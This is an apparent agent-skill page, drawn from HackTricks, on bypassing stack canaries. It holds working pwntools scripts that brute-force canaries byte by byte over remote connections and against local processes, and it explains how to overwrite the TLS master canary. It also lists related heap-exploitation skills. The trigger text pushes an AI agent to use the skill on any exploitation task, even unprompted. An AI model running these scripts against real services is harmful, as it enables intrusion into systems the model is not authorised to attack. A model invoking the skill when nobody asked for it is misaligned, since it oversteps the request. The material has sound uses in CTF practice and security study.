skills/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries/SKILL.md
How to bypass stack canary protections in binary exploitation. Use this skill whenever the user mentions stack canaries, ASLR bypass, binary exploitation, pwn challenges, forked processes, threaded binaries, or needs to brute-force security tokens. This skill covers brute-forcing canaries on forked network services, threaded processes, and TLS-based canary manipulation. Make sure to use this skill for any CTF pwn challenge, binary analysis, or exploitation task involving stack canaries, even if the user doesn't explicitly mention "canary" or "stack protection."
npx skillsauth add abelrguezr/hacktricks-skills binary-exploitation-stack-canary-bypassInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill helps you bypass stack canary protections in binary exploitation scenarios. Stack canaries are security tokens placed on the stack to detect buffer overflows before they can corrupt the return address.
Best case scenario: The binary forks a child process for each connection. Every connection gets the same canary value, making brute-force feasible.
How to detect:
checksec might miss statically compiled binaries - look for canary save/check patterns in disassemblyThreads share the same canary token from the parent process. If the binary spawns a new thread per attack, you can brute-force the canary.
Advanced: Buffer overflow in a threaded function can modify the master canary in TLS (Thread Local Storage), making the check useless since both canaries match (even if modified).
The core technique: guess one byte at a time, checking if the program crashes or continues normally.
from pwn import *
def brute_force_canary_64(target_host, target_port, offset, trigger_marker):
"""
Brute-force 8-byte canary on forked network service
Args:
target_host: Hostname or IP
target_port: Port number
offset: Bytes to fill before canary
trigger_marker: String that appears when canary is correct
"""
canary = b""
base = b"A" * offset
for byte_pos in range(8):
for guess in range(256):
try:
r = remote(target_host, target_port)
# Send payload with current guess
payload = base + canary + bytes([guess])
r.send(payload)
# Check if canary was correct
response = r.recv()
if trigger_marker.encode() in response:
print(f"Byte {byte_pos}: 0x{guess:02x}")
canary += bytes([guess])
break
else:
r.close()
except:
r.close()
return canary
# Usage
CANARY = brute_force_canary_64("localhost", 8788, 1176, "SOME OUTPUT")
print(f"Canary: {CANARY.hex()}")
from pwn import *
def brute_force_canary_32(binary_path, offset, trigger_marker):
"""
Brute-force 4-byte canary on local process
Args:
binary_path: Path to target binary
offset: Bytes to fill before canary
trigger_marker: String that appears when canary is correct
"""
known_canary = b""
for byte_pos in range(4):
for guess in range(256):
target = process(binary_path)
# Send payload with current guess
payload = b"A" * offset + known_canary + bytes([guess])
target.send(payload)
# Check if canary was correct
output = target.recvuntil(b"exit.", timeout=2)
if trigger_marker.encode() in output:
print(f"Byte {byte_pos}: 0x{guess:02x}")
known_canary += bytes([guess])
break
target.close()
return known_canary
# Usage
canary = brute_force_canary_32("./feedme", 0x20, "YUM")
log.info(f"Canary: {canary.hex()}")
When threads are involved, the canary is stored in TLS (Thread Local Storage), typically allocated via mmap. A buffer overflow in a thread's stack can potentially reach and modify the TLS canary.
Key insight: If you can overflow into TLS and modify the master canary, the check becomes useless because both the stack canary and TLS canary will match (even though both are wrong).
Requirements:
# Connect, send, check response, repeat per byte
for byte in range(8):
for guess in range(256):
r = remote(host, port)
r.send(payload + guess)
if "success" in r.recv():
canary += guess
break
# Spawn process, send, check output, repeat per byte
for byte in range(4): # 32-bit
for guess in range(256):
p = process("./binary")
p.send(payload + guess)
if "success" in p.recv():
canary += guess
break
__stack_chk_fail in binary or canary save/check in disassemblyAfter bypassing the canary:
testing
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.